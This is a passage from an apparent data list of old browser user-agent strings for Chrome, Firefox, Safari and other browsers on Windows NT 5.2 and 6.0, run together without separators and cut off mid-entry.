Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/0.0.0 Safari/532.0 Iron/3.0.197.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.1 Chrome/10.0.650.1 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.5.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.5.0.0alpha1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) Chrome/0.0.0 Iron/3.0.197.0 AppleWebKit/532.0 (KHTML, like Gecko) Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.1) Gecko/20040707 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.2) Gecko/20040709 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.1.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4pre) Gecko/20070510 BonEcho/2.0.0.4pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.5) Gecko/20070722 K-Meleon/1.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.6) Gecko/20070727 K-Meleon/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.7pre) Gecko/20070815 Firefox/2.0.0.6 Navigator/9.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.9) Gecko/2009042410 Firefox/3.0.9 Wyzo/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.10) Gecko/20100504 Lightning/1.0b1 SeaMonkey/2.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.6) Gecko/20091222 Shiretoko/3.5.6 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.7) Gecko/20100104 SeaMonkey/2.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b2pre) Gecko/20081110 Minefield/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090104 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.0.04506.30) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9a1) Gecko/20060926 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9a3pre) Gecko/20070320 Minefield/3.0a3pre Mozilla/5.0 (Windows; U; Windows NT 5.2; es-AR; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.1.7.21880 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; fr-FR; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648) Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.2; hu; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; hu; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; ko; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; pl; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; pt) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: ) Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-PT; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru-RU) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; sk; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 5.2; sl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; sv-SE; rv:1.7.8) Gecko/20060911 Firefox/1.5.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20091111 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20100101 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.1.5) Gecko/20091106 Shiretoko/3.5.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.0 (x86_64); de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.0.3pre) Gecko/2008111500 Minefield/3.0.5pre Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Minefield/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9a1) Gecko/20061007 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9a8pre) Gecko/2007090213 Minefield/3.0a8pre Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre Mozilla/5.0 (Windows; U; Windows NT 6.0; ar; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; bg-BG; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ch; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; da-DK) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; da; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: ) Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 